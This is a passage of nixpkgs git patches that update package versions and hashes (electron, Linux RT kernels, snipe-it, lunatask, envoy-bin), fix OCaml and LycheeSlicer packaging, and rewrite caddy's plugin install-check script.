-  cargoHash = "sha256-Wk9KxNgIGDEIEYIl7O+3eamUHuBSBMxZgUob9FryuGI=";
+  cargoHash = "sha256-p3ryAggKR6ylCvaQ8M30OmLyGCL4bOYR/YwqNfAzcAg=";
 
   nativeBuildInputs = [
     pandoc

From 25020b836288125d42486effd6b25d5d177b0f8e Mon Sep 17 00:00:00 2001
From: SandaruKasa <sandarukasa@ya.ru>
Date: Wed, 3 Sep 2025 01:11:50 +0300
Subject: [PATCH 4202/4511] LycheeSlicer: fix missing libxshmfence

---
 pkgs/by-name/ly/LycheeSlicer/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/ly/LycheeSlicer/package.nix b/pkgs/by-name/ly/LycheeSlicer/package.nix
index 91012f6450a2..73ef6d6816a2 100644
--- a/pkgs/by-name/ly/LycheeSlicer/package.nix
+++ b/pkgs/by-name/ly/LycheeSlicer/package.nix
@@ -39,7 +39,7 @@ appimageTools.wrapType2 {
     install -Dm444 -t $out/share/applications ${desktopItem}/share/applications/*
   '';
 
-  buildInputs = [
+  extraPkgs = _: [
     xorg.libxshmfence
   ];
 

From 22d1b9750f969202adaf9f074e7a9f9f8d0e49c0 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Mon, 12 May 2025 20:37:27 +0200
Subject: [PATCH 4203/4511] ocamlPackages.systemd: replace `meta.platform` with
 `meta.platforms`

`platform` is not a valid attr in meta an makes check-meta fail

(cherry picked from commit 9494f24765d6f69de6e6bc9a030acebd8195462e)
---
 pkgs/development/ocaml-modules/systemd/default.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/development/ocaml-modules/systemd/default.nix b/pkgs/development/ocaml-modules/systemd/default.nix
index f729601d3a74..ce6410a282bd 100644
--- a/pkgs/development/ocaml-modules/systemd/default.nix
+++ b/pkgs/development/ocaml-modules/systemd/default.nix
@@ -16,7 +16,7 @@ buildDunePackage {
   minimalOCamlVersion = "4.06";
   propagatedBuildInputs = [ systemdLibs ];
   meta = {
-    platform = lib.platforms.linux;
+    platforms = lib.platforms.linux;
     description = "OCaml module for native access to the systemd facilities";
     license = lib.licenses.lgpl3Only;
     maintainers = [ lib.maintainers.atagen ];

From 228dfd1a425e2a6def803d09920a8ea5d748f24f Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Mon, 12 May 2025 20:59:49 +0200
Subject: [PATCH 4204/4511] ocamlPackages.janeStreet: recurseIntoAttrs

(cherry picked from commit 6eec03acff37b43a7b4da3bac4dcde5f759a7f66)
---
 pkgs/top-level/ocaml-packages.nix | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/pkgs/top-level/ocaml-packages.nix b/pkgs/top-level/ocaml-packages.nix
index 219e0efe8aea..2ee287544d66 100644
--- a/pkgs/top-level/ocaml-packages.nix
+++ b/pkgs/top-level/ocaml-packages.nix
@@ -853,7 +853,7 @@ let
           else
             null;
 
-        janeStreet =
+        janeStreet = lib.recurseIntoAttrs (
           if lib.versionOlder "5.1" ocaml.version then
             import ../development/ocaml-modules/janestreet/0.17.nix {
               inherit self;
@@ -910,7 +910,8 @@ let
             }
           else
             import ../development/ocaml-modules/janestreet {
-            };
+            }
+        );
 
         janeStreet_0_15 =
           (lib.makeScope self.newScope (

From 6fe9685e3a4792a28de9c45797932010292fc6bc Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Fri, 29 Aug 2025 10:52:17 +0200
Subject: [PATCH 4205/4511] electron_37-bin: 37.3.1 -> 37.4.0

- Changelog: https://github.com/electron/electron/releases/tag/v37.4.0
- Diff: https://github.com/electron/electron/compare/refs/tags/v37.3.1...v37.4.0

(cherry picked from commit d5cda477ca7b8ebbfc843164b734a6274d989b1a)
---
 pkgs/development/tools/electron/binary/info.json | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/binary/info.json b/pkgs/development/tools/electron/binary/info.json
index 23a86c7e8289..41a3452a5e06 100644
--- a/pkgs/development/tools/electron/binary/info.json
+++ b/pkgs/development/tools/electron/binary/info.json
@@ -45,13 +45,13 @@
     },
     "37": {
         "hashes": {
-            "aarch64-darwin": "7f390efeca2d2153e29c5ea13305915fb3f853b2a4e9a00be07183c6e09ac6de",
-            "aarch64-linux": "c5c8ec46d9e291cd9dddb40c635d947d0f17873739f93b069e75b4bdadd75f5d",
-            "armv7l-linux": "0871625623efb0edbb4d93ec9e036e01837f9d9ffaf4f1c05ae95f30ff823987",
-            "headers": "1a5wfjjf68mcbsq2lxxsrhgni5ia4dcv1pfzmgw3wm10gbyb0wzi",
-            "x86_64-darwin": "0a6a55de6c49d6eb929f01632701bd25f7e515d7b4042614dd5a1ec6c079f3f3",
-            "x86_64-linux": "9c379b91f7ff65311f2b040299ee95c137fcb8e7e1bef87f9225d608cf579548"
+            "aarch64-darwin": "dade2ff2cadb0f7136c5c2808ac67768ca5430448aab75c1476c2d3442f7413e",
+            "aarch64-linux": "622c23c9bbc62226c7aea75e0f10d19776e4b03ff04b709c20eba8e14eecac7d",
+            "armv7l-linux": "161399f83f1e790ec7c9b404f81538afcde4466f17c644dfbc870db92003c27a",
+            "headers": "1zghwn2kfv5an37m0mnqqcv6hb0q376mj2zrqxqyrjz6fpb5rnqr",
+            "x86_64-darwin": "f111eedf4e0931c9caf396fc219487b124e2086be3ceaa77b541b0034c4beb8d",
+            "x86_64-linux": "83230e0fb8506da154e946579835cf468f05ec3f7ae0fb09a420c54ec129d7ce"
         },
-        "version": "37.3.1"
+        "version": "37.4.0"
     }
 }

From a1ced86ad12594a3e67e98c3fb5b459d3005b35c Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Fri, 29 Aug 2025 10:52:20 +0200
Subject: [PATCH 4206/4511] electron-chromedriver_37: 37.3.1 -> 37.4.0

- Changelog: https://github.com/electron/electron/releases/tag/v37.4.0
- Diff: https://github.com/electron/electron/compare/refs/tags/v37.3.1...v37.4.0

(cherry picked from commit b9a145801d96c60077e016b9f0fd16ab3329b0d0)
---
 .../tools/electron/chromedriver/info.json          | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/chromedriver/info.json b/pkgs/development/tools/electron/chromedriver/info.json
index e09b5434c789..26f1f2e26350 100644
--- a/pkgs/development/tools/electron/chromedriver/info.json
+++ b/pkgs/development/tools/electron/chromedriver/info.json
@@ -45,13 +45,13 @@
     },
     "37": {
         "hashes": {
-            "aarch64-darwin": "f6e9c5bdf45d3e17ef90036265a190e55fb2c15c840c2f898f7b503882dcbdac",
-            "aarch64-linux": "db0b310b297cb3c38655ca2d91c892e463f6e73d45b1487aa5f7271dd5f54315",
-            "armv7l-linux": "e4cc211fc92da230acbf2139333051a105a97f7a6a52ace5b0f289bcffcf1ce4",
-            "headers": "1a5wfjjf68mcbsq2lxxsrhgni5ia4dcv1pfzmgw3wm10gbyb0wzi",
-            "x86_64-darwin": "473bae1c5226e2b1b7cebe71a2f983955e886d65683b00d302850071026e0bdb",
-            "x86_64-linux": "6f59f1b86c4538bdf7857fa90afd3f459a8f32bc600480774ae4dc50fc89208c"
+            "aarch64-darwin": "67546d1baf32b5db330ed6292e6bfa4c043d19c5aea2cdfc32f294b1bfef0670",
+            "aarch64-linux": "caad0c4a238555be7ffacdd36a34af3ad769dbdce3bd3ed79567cc08b2ae70f8",
+            "armv7l-linux": "d9188dbaa8e825a1ab025f652d8e558c68d1a6516bd5113c28fb25553e72a99a",
+            "headers": "1zghwn2kfv5an37m0mnqqcv6hb0q376mj2zrqxqyrjz6fpb5rnqr",
+            "x86_64-darwin": "2bab145390ce194f9fea82c421594f93b12b462e3b53a5115633f160345219f7",
+            "x86_64-linux": "8fc352ffa0bfcc7f977dce3ec066a4a77198c584292ff066b611b6259367bcf4"
         },
-        "version": "37.3.1"
+        "version": "37.4.0"
     }
 }

From 9aea62f77fc1260be6d1ec525287176d4eed1bfe Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Fri, 29 Aug 2025 10:58:29 +0200
Subject: [PATCH 4207/4511] electron-source.electron_37: 37.3.1 -> 37.4.0

- Changelog: https://github.com/electron/electron/releases/tag/v37.4.0
- Diff: https://github.com/electron/electron/compare/refs/tags/v37.3.1...v37.4.0

(cherry picked from commit e0ba6a5d2369774c663ef7d4efcd7838144b6724)
---
 pkgs/development/tools/electron/info.json | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/pkgs/development/tools/electron/info.json b/pkgs/development/tools/electron/info.json
index ba5feb04f48a..437432eecb05 100644
--- a/pkgs/development/tools/electron/info.json
+++ b/pkgs/development/tools/electron/info.json
@@ -2634,7 +2634,7 @@
         "version": "36.8.1"
     },
     "37": {
-        "chrome": "138.0.7204.235",
+        "chrome": "138.0.7204.243",
         "chromium": {
             "deps": {
                 "gn": {
@@ -2644,15 +2644,15 @@
                     "version": "2025-05-21"
                 }
             },
-            "version": "138.0.7204.235"
+            "version": "138.0.7204.243"
         },
         "chromium_npm_hash": "sha256-8d5VTHutv51libabhxv7SqPRcHfhVmGDSOvTSv013rE=",
         "deps": {
             "src": {
                 "args": {
-                    "hash": "sha256-S3uarVWXVgo0xqWoLdbv/oe+iYdHUBZk1W4lhzQmI/I=",
+                    "hash": "sha256-PJgyOygSYqGfKSwyDFaCfjAgcLmlWRx6foOmde/6SUw=",
                     "postFetch": "rm -r $out/third_party/blink/web_tests; rm -r $out/content/test/data; rm -rf $out/courgette/testdata; rm -r $out/extensions/test/data; rm -r $out/media/test/data; ",
-                    "tag": "138.0.7204.235",
+                    "tag": "138.0.7204.243",
                     "url": "https://chromium.googlesource.com/chromium/src.git"
                 },
                 "fetcher": "fetchFromGitiles"
@@ -2691,10 +2691,10 @@
             },
             "src/electron": {
                 "args": {
-                    "hash": "sha256-NkNq6jKC8NHi/PAV8zru5WCCZFO7XLMwishzURfP2mc=",
+                    "hash": "sha256-+11/nuTJYMca/ERiY+twP3kDo+NtCm0uWYpCIyS45mE=",
                     "owner": "electron",
                     "repo": "electron",
-                    "tag": "v37.3.1"
+                    "tag": "v37.4.0"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -3954,8 +3954,8 @@
             },
             "src/v8": {
                 "args": {
-                    "hash": "sha256-PBD43Kfv81iewn60pfpIQBqHVd8j+tcR+VHn35YwdNc=",
-                    "rev": "82ea130494ea43ed0e1bba1ccf97e5db06668ba1",
+                    "hash": "sha256-ZXqb08iYgh98JiiD3G9zufbhTMPnsJFtJxwuYBmx4Pg=",
+                    "rev": "6e44441230795a613ddabb3b7e8a082c114a607e",
                     "url": "https://chromium.googlesource.com/v8/v8.git"
                 },
                 "fetcher": "fetchFromGitiles"
@@ -3964,6 +3964,6 @@
         "electron_yarn_hash": "1lqvsfr1w32n4as7g7ms49jjdfw7sl1fyvg2640cpdgjs4dd96ky",
         "modules": "136",
         "node": "22.18.0",
-        "version": "37.3.1"
+        "version": "37.4.0"
     }
 }

From 18b5f8c2a59184aad6681b6b84fc55cadffa0427 Mon Sep 17 00:00:00 2001
From: Yifei Sun <ysun@hey.com>
Date: Tue, 12 Aug 2025 13:55:58 +0200
Subject: [PATCH 4208/4511] caddy: clean up withPlugins logic and support
 replacement

(cherry picked from commit 63b06645110ef2949968b9b76e05d4c3180ecab8)
---
 pkgs/by-name/ca/caddy/plugins.nix | 78 +++++++++++++++++++++----------
 1 file changed, 53 insertions(+), 25 deletions(-)

diff --git a/pkgs/by-name/ca/caddy/plugins.nix b/pkgs/by-name/ca/caddy/plugins.nix
index e46a98167eae..2b0910f848ba 100644
--- a/pkgs/by-name/ca/caddy/plugins.nix
+++ b/pkgs/by-name/ca/caddy/plugins.nix
@@ -29,6 +29,7 @@ in
 {
   plugins,
   hash ? fakeHash,
+  doInstallCheck ? true,
 }:
 
 let
@@ -83,43 +84,70 @@ caddy.overrideAttrs (
 
     # xcaddy built output always uses pseudo-version number
     # we enforce user provided plugins are present and have matching tags here
-    doInstallCheck = true;
+    inherit doInstallCheck;
     installCheckPhase = ''
       runHook preInstallCheck
 
+      declare -A modules errors
       ${toShellVar "notfound" pluginsSorted}
 
-      while read kind module version; do
-        [[ "$kind" = "dep" ]] || continue
-        module="''${module}@''${version}"
-        for i in "''${!notfound[@]}"; do
-          if [[ ''${notfound[i]} = ''${module} ]]; then
-            unset 'notfound[i]'
-          fi
-        done
+      # put build info that we care about into `modules` list
+      while read -r kind module version _; do
+        case "$kind" in
+          'dep'|'=>')
+            modules[$module]=$version
+            ;;
+          *)
+            # we only care about 'dep' and '=>' directives for now
+            ;;
+        esac
       done < <($out/bin/caddy build-info)
 
-      if (( ''${#notfound[@]} )); then
-        for plugin in "''${notfound[@]}"; do
-          base=''${plugin%@*}
-          specified=''${plugin#*@}
-          found=0
+      # compare build-time (Nix side) against runtime (Caddy side)
+      for spec in "''${notfound[@]}"; do
+        if [[ $spec == *=* ]]; then
+            # orig=repl_mod@repl_ver
+            orig=''${spec%%=*}
+            repl=''${spec#*=}
+            repl_mod=''${repl%@*}
+            repl_ver=''${repl#*@}
 
-          while read kind module expected; do
-            [[ "$kind" = "dep" && "$module" = "$base" ]] || continue
-            echo "Plugin \"$base\" have incorrect tag:"
-            echo "  specified: \"$base@$specified\""
-            echo "  got: \"$base@$expected\""
-            found=1
-          done < <($out/bin/caddy build-info)
+            if [[ -z ''${modules[$orig]} ]]; then
+                errors[$spec]="plugin \"$spec\" with replacement not found in build info:\n  reason: \"$orig\" missing"
+            elif [[ -z ''${modules[$repl_mod]} ]]; then
+                errors[$spec]="plugin \"$spec\" with replacement not found in build info:\n  reason: \"$repl_mod\" missing"
+            elif [[ "''${modules[$repl_mod]}" != "$repl_ver" ]]; then
+                errors[$spec]="plugin \"$spec\" have incorrect tag:\n  specified: \"$spec\"\n  got: \"$orig=$repl_mod@''${modules[$repl_mod]}\""
+            fi
+        else
+          # mod@ver
+          mod=''${spec%@*}
+          ver=''${spec#*@}
 
-          if (( found == 0 )); then
-            echo "Plugin \"$base\" not found in build:"
-            echo "  specified: \"$base@$specified\""
-            echo "  plugin does not exist in the xcaddy build output, open an issue in nixpkgs or upstream"
+          if [[ -z ''${modules[$mod]} ]]; then
+              errors[$spec]="plugin \"$spec\" not found in build info"
+          elif [[ "''${modules[$mod]}" != "$ver" ]]; then
+              errors[$spec]="plugin \"$spec\" have incorrect tag:\n  specified: \"$spec\"\n  got: \"$mod@''${modules[$mod]}\""
           fi
+        fi
+      done
+
+      # print errors if any
+      if [[ ''${#errors[@]} -gt 0 ]]; then
+        for spec in "''${!errors[@]}"; do
+          printf "Error: ''${errors[$spec]}\n" >&2
         done
 
+        echo "Tips:"
+        echo "If:"
+        echo "  - you are using module replacement (e.g. \`plugin1=plugin2@version\`)"
+        echo "  - the provided Caddy plugin is under a repository's subdirectory, and \`go.{mod,sum}\` files are not in that subdirectory"
+        echo "  - you have custom build logic or other advanced use cases"
+        echo "Please consider:"
+        echo "  - set \`doInstallCheck = false\`"
+        echo "  - write your own \`installCheckPhase\` and override the default script"
+        echo "If you are sure this error is caused by packaging, or by caddy/xcaddy, raise an issue with upstream or nixpkgs"
+
         exit 1
       fi
 

From c2a6926346465765503606aa6d868a797fb106c3 Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Fri, 29 Aug 2025 20:30:08 +0200
Subject: [PATCH 4209/4511] snipe-it: 8.2.1 -> 8.3.0

Release notes: https://github.com/grokability/snipe-it/releases/tag/v8.3.0
Full changelog: https://github.com/grokability/snipe-it/compare/v8.2.1...v8.3.0

(cherry picked from commit 7db7de10f184227c6da2df295544b774972ae579)
---
 pkgs/by-name/sn/snipe-it/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sn/snipe-it/package.nix b/pkgs/by-name/sn/snipe-it/package.nix
index 546ddca2587c..cadbb3207ce7 100644
--- a/pkgs/by-name/sn/snipe-it/package.nix
+++ b/pkgs/by-name/sn/snipe-it/package.nix
@@ -9,16 +9,16 @@
 
 php84.buildComposerProject2 (finalAttrs: {
   pname = "snipe-it";
-  version = "8.2.1";
+  version = "8.3.0";
 
   src = fetchFromGitHub {
     owner = "grokability";
     repo = "snipe-it";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-l0FiZZbzY49y2Q5WcCZwJD8YlQbBrOXJkMo7fMlSHxg=";
+    hash = "sha256-YeedBSpEzdMOPpbwqEFpVtMY4hnnN/Sb/XB1YNDnDNc=";
   };
 
-  vendorHash = "sha256-+FUEBZdGu+wC9LW2UWz1wM4PZnJdTAxZU0kRkCzgjJE=";
+  vendorHash = "sha256-32TbhVhfi8i9jwBQ2gpeb7sLmrtHQXSjlaVVdgFdaxs=";
 
   postInstall = ''
     snipe_it_out="$out/share/php/snipe-it"

From d2500226b2ec4b321bc7b5573d88070de17609b4 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 2 Sep 2025 20:41:22 +0000
Subject: [PATCH 4210/4511] lunatask: 2.1.5 -> 2.1.6

(cherry picked from commit ebb973af59b7896af27f8efa0ccfeb96e2489e47)
---
 pkgs/by-name/lu/lunatask/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/lu/lunatask/package.nix b/pkgs/by-name/lu/lunatask/package.nix
index 364250a0e5ac..e8c032584482 100644
--- a/pkgs/by-name/lu/lunatask/package.nix
+++ b/pkgs/by-name/lu/lunatask/package.nix
@@ -6,12 +6,12 @@
 }:
 
 let
-  version = "2.1.5";
+  version = "2.1.6";
   pname = "lunatask";
 
   src = fetchurl {
     url = "https://github.com/lunatask/lunatask/releases/download/v${version}/Lunatask-${version}.AppImage";
-    hash = "sha256-kuf3NE7or7zCcefShhKzVoCX7WsnHwtleZRafKYhWrM=";
+    hash = "sha256-XgCixgusRsDaO29mqfXGW+hHQDnmw+nIXEXyR6L3y3Y=";
   };
 
   appimageContents = appimageTools.extract {

From 50eba04c2a8f8fc6144f6332de1a6bf54b396631 Mon Sep 17 00:00:00 2001
From: Alyssa Ross <hi@alyssa.is>
Date: Mon, 1 Sep 2025 16:15:57 +0200
Subject: [PATCH 4211/4511] linux_testing: 6.17-rc3 -> 6.17-rc4

(cherry picked from commit bd1799dd26a5d1bf6e64925c968b93303afde9d6)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 7234a4bf12a1..72689cb0b081 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -1,7 +1,7 @@
 {
     "testing": {
-        "version": "6.17-rc3",
-        "hash": "sha256:0kmlj35yqki4ibh15j8qx8202dh64fxl0nx737afg6i0k47rk1yd",
+        "version": "6.17-rc4",
+        "hash": "sha256:1vjwy9n3rpxjymyzyz7fbj20z0wf27229aml3qazcmy5kk115v66",
         "lts": false
     },
     "6.1": {

From 6a8580ba43888f798411aaa370b2324dad4d3127 Mon Sep 17 00:00:00 2001
From: Alyssa Ross <hi@alyssa.is>
Date: Mon, 1 Sep 2025 16:16:22 +0200
Subject: [PATCH 4212/4511] linux-rt_5_10: 5.10.237-rt131 -> 5.10.240-rt134

(cherry picked from commit 1dbffc4f836632e5f16fcfd87926fe3ed45f3ec4)
---
 pkgs/os-specific/linux/kernel/linux-rt-5.10.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/linux-rt-5.10.nix b/pkgs/os-specific/linux/kernel/linux-rt-5.10.nix
index 08cc4cfce3cb..a4019bd33645 100644
--- a/pkgs/os-specific/linux/kernel/linux-rt-5.10.nix
+++ b/pkgs/os-specific/linux/kernel/linux-rt-5.10.nix
@@ -10,7 +10,7 @@
 }@args:
 
 let
-  version = "5.10.237-rt131"; # updated by ./update-rt.sh
+  version = "5.10.240-rt134"; # updated by ./update-rt.sh
   branch = lib.versions.majorMinor version;
   kversion = builtins.elemAt (lib.splitString "-" version) 0;
 in
@@ -25,7 +25,7 @@ buildLinux (
 
     src = fetchurl {
       url = "mirror://kernel/linux/kernel/v5.x/linux-${kversion}.tar.xz";
-      sha256 = "098gvqfaahabqqz64m5fwri57drwiz3006pr805sxw74w0vjgj0z";
+      sha256 = "04sdcf4aqsqchii38anzmk9f9x65wv8q1x3m9dandmi6fabw724d";
     };
 
     kernelPatches =
@@ -34,7 +34,7 @@ buildLinux (
           name = "rt";
           patch = fetchurl {
             url = "mirror://kernel/linux/kernel/projects/rt/${branch}/older/patch-${version}.patch.xz";
-            sha256 = "15f4dylrwm9q0dl3jhcy57611w5kzz74rf9aqfvh7cqxi5q4g8fs";
+            sha256 = "0f2wq6w0707qn798a9lk7r31mfmdll6xwnxq8fy86574gl08ah79";
           };
         };
       in

From 894a8238a2323685812bfc3ffd9041d85fb179c8 Mon Sep 17 00:00:00 2001
From: Alyssa Ross <hi@alyssa.is>
Date: Mon, 1 Sep 2025 16:17:02 +0200
Subject: [PATCH 4213/4511] linux-rt_5_15: 5.15.183-rt85 -> 5.15.189-rt87

(cherry picked from commit e66868fc09ec55b02ccdaf678af311419cae48d8)
---
 pkgs/os-specific/linux/kernel/linux-rt-5.15.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/linux-rt-5.15.nix b/pkgs/os-specific/linux/kernel/linux-rt-5.15.nix
index 49c0f89f8a2b..c930d86de797 100644
--- a/pkgs/os-specific/linux/kernel/linux-rt-5.15.nix
+++ b/pkgs/os-specific/linux/kernel/linux-rt-5.15.nix
@@ -10,7 +10,7 @@
 }@args:
 
 let
-  version = "5.15.183-rt85"; # updated by ./update-rt.sh
+  version = "5.15.189-rt87"; # updated by ./update-rt.sh
   branch = lib.versions.majorMinor version;
   kversion = builtins.elemAt (lib.splitString "-" version) 0;
 in
@@ -29,7 +29,7 @@ buildLinux (
 
     src = fetchurl {
       url = "mirror://kernel/linux/kernel/v5.x/linux-${kversion}.tar.xz";
-      sha256 = "1s4fqm83api3xk0b443b4bhgrx7bx6n8bchdpmzahqadk9i7yvyh";
+      sha256 = "1hshd26ahn6dbw6jnqi0v5afpk672w7p09mk7iri93i7hxdh5l73";
     };
 
     kernelPatches =
@@ -38,7 +38,7 @@ buildLinux (
           name = "rt";
           patch = fetchurl {
             url = "mirror://kernel/linux/kernel/projects/rt/${branch}/older/patch-${version}.patch.xz";
-            sha256 = "1jlrnjr2cwlfqxzq27wzz0r57bpissxs0s3nbdaj4bk92cd527c3";
+            sha256 = "151vznvdcdmjsjsz3b4hfxw1v2jyigrh34k2qyxk3fkqg999fx9w";
           };
         };
       in

From 1235fcb8b696c69d5a1d2f0e2872563529deb5d8 Mon Sep 17 00:00:00 2001
From: Alyssa Ross <hi@alyssa.is>
Date: Mon, 1 Sep 2025 16:17:36 +0200
Subject: [PATCH 4214/4511] linux-rt_5_4: 5.4.293-rt98 -> 5.4.296-rt100

(cherry picked from commit 3f8980c199b7545d8b98260b98a3dc0227dc3c01)
---
 pkgs/os-specific/linux/kernel/linux-rt-5.4.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/linux-rt-5.4.nix b/pkgs/os-specific/linux/kernel/linux-rt-5.4.nix
index 5c95493379da..e855b51903ee 100644
--- a/pkgs/os-specific/linux/kernel/linux-rt-5.4.nix
+++ b/pkgs/os-specific/linux/kernel/linux-rt-5.4.nix
@@ -10,7 +10,7 @@
 }@args:
 
 let
-  version = "5.4.293-rt98"; # updated by ./update-rt.sh
+  version = "5.4.296-rt100"; # updated by ./update-rt.sh
   branch = lib.versions.majorMinor version;
   kversion = builtins.elemAt (lib.splitString "-" version) 0;
 in
@@ -22,7 +22,7 @@ buildLinux (
 
     src = fetchurl {
       url = "mirror://kernel/linux/kernel/v5.x/linux-${kversion}.tar.xz";
-      sha256 = "0b9p8l6ndm75751f7s03rnxg7yg9c4pj9rb537lhsv6pqx096n1l";
+      sha256 = "0fm73yqzbzclh2achcj8arpg428d412k2wgmlfmyy6xzb1762qrx";
     };
 
     kernelPatches =
@@ -31,7 +31,7 @@ buildLinux (
           name = "rt";
           patch = fetchurl {
             url = "mirror://kernel/linux/kernel/projects/rt/${branch}/older/patch-${version}.patch.xz";
-            sha256 = "0vsb893cmc1rqrb2jqpc748748py2dc8nz8p5x3rh35ky8p3shss";
+            sha256 = "0ggmgkhmnvx4xxb3smfdcafqr9m3qdyc40xp3h7586p4n3wwpw9d";
           };
         };
       in

From 6e1b9e7578086e9db4efaf6841b5f3f83763778d Mon Sep 17 00:00:00 2001
From: Alyssa Ross <hi@alyssa.is>
Date: Mon, 1 Sep 2025 16:18:14 +0200
Subject: [PATCH 4215/4511] linux-rt_6_1: 6.1.134-rt51 -> 6.1.146-rt53

(cherry picked from commit 42364159209756643650c8346dc7e38f612afc56)
---
 pkgs/os-specific/linux/kernel/linux-rt-6.1.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/linux-rt-6.1.nix b/pkgs/os-specific/linux/kernel/linux-rt-6.1.nix
index f27de5421729..355a3a106199 100644
--- a/pkgs/os-specific/linux/kernel/linux-rt-6.1.nix
+++ b/pkgs/os-specific/linux/kernel/linux-rt-6.1.nix
@@ -10,7 +10,7 @@
 }@args:
 
 let
-  version = "6.1.134-rt51"; # updated by ./update-rt.sh
+  version = "6.1.146-rt53"; # updated by ./update-rt.sh
   branch = lib.versions.majorMinor version;
   kversion = builtins.elemAt (lib.splitString "-" version) 0;
 in
@@ -29,7 +29,7 @@ buildLinux (
 
     src = fetchurl {
       url = "mirror://kernel/linux/kernel/v6.x/linux-${kversion}.tar.xz";
-      sha256 = "08xx0w5gz7w5hqsnpckmizi1zpg38iwfchj20163ivnxf3fhriv0";
+      sha256 = "117gyi8zym09z2qarnv02i7v23v8596nqvllid07aydlcpihl9pv";
     };
 
     kernelPatches =
@@ -38,7 +38,7 @@ buildLinux (
           name = "rt";
           patch = fetchurl {
             url = "mirror://kernel/linux/kernel/projects/rt/${branch}/older/patch-${version}.patch.xz";
-            sha256 = "18nznajrbjx9y76lki6aa10jkh33v60fnmyrbc0ds9x9xsnfahzz";
+            sha256 = "1kz416nc8hd2pi87l9k496r2lig07dbapyh701lq81rilbzx9nmc";
           };
         };
       in

From f9b989d74daa02342086809c3df06c9dec93912e Mon Sep 17 00:00:00 2001
From: Alyssa Ross <hi@alyssa.is>
Date: Mon, 1 Sep 2025 16:18:52 +0200
Subject: [PATCH 4216/4511] linux-rt_6_6: 6.6.87-rt54 -> 6.6.101-rt59

(cherry picked from commit f2a2de23f4fb2d6c0c6bfd27bc9891630798bae9)
---
 pkgs/os-specific/linux/kernel/linux-rt-6.6.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/linux-rt-6.6.nix b/pkgs/os-specific/linux/kernel/linux-rt-6.6.nix
index 037fb34519e1..5df3a1097066 100644
--- a/pkgs/os-specific/linux/kernel/linux-rt-6.6.nix
+++ b/pkgs/os-specific/linux/kernel/linux-rt-6.6.nix
@@ -10,7 +10,7 @@
 }@args:
 
 let
-  version = "6.6.87-rt54"; # updated by ./update-rt.sh
+  version = "6.6.101-rt59"; # updated by ./update-rt.sh
   branch = lib.versions.majorMinor version;
   kversion = builtins.elemAt (lib.splitString "-" version) 0;
 in
@@ -29,7 +29,7 @@ buildLinux (
 
     src = fetchurl {
       url = "mirror://kernel/linux/kernel/v6.x/linux-${kversion}.tar.xz";
-      sha256 = "1iks6msk4cajyy0khyhrwsdl123hr81n67xzdnhlgg6dvb1famw9";
+      sha256 = "1h71zbqlsxcafrk218s0rip9rdrj0fzqvsl81ndqnlrnjy3g4kwc";
     };
 
     kernelPatches =
@@ -38,7 +38,7 @@ buildLinux (
           name = "rt";
           patch = fetchurl {
             url = "mirror://kernel/linux/kernel/projects/rt/${branch}/older/patch-${version}.patch.xz";
-            sha256 = "0qxfs10y1ndq346gvcmhv0a02bbd3804yn1hvpx3p7bjp91j2as6";
+            sha256 = "0w71nl8s0npcz6x3qavl5j3vcqwd5wcqx4dj5ck2qs7bzv9kbrwb";
           };
         };
       in

From 3eb88df40d74d782c899cae0f92ab6f4469a0972 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Wed, 3 Sep 2025 08:33:47 -0400
Subject: [PATCH 4217/4511] envoy-bin: 1.34.5 -> 1.34.6

Changelog: https://github.com/envoyproxy/envoy/releases/tag/v1.34.6
---
 pkgs/by-name/en/envoy-bin/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/en/envoy-bin/package.nix b/pkgs/by-name/en/envoy-bin/package.nix
index 025f6acc8d6e..5c9881b7f6ba 100644
--- a/pkgs/by-name/en/envoy-bin/package.nix
+++ b/pkgs/by-name/en/envoy-bin/package.nix
@@ -8,7 +8,7 @@
   versionCheckHook,
 }:
 let
-  version = "1.34.5";
+  version = "1.34.6";
   inherit (stdenv.hostPlatform) system;
   throwSystem = throw "envoy-bin is not available for ${system}.";
 
@@ -21,8 +21,8 @@ let
 
   hash =
     {
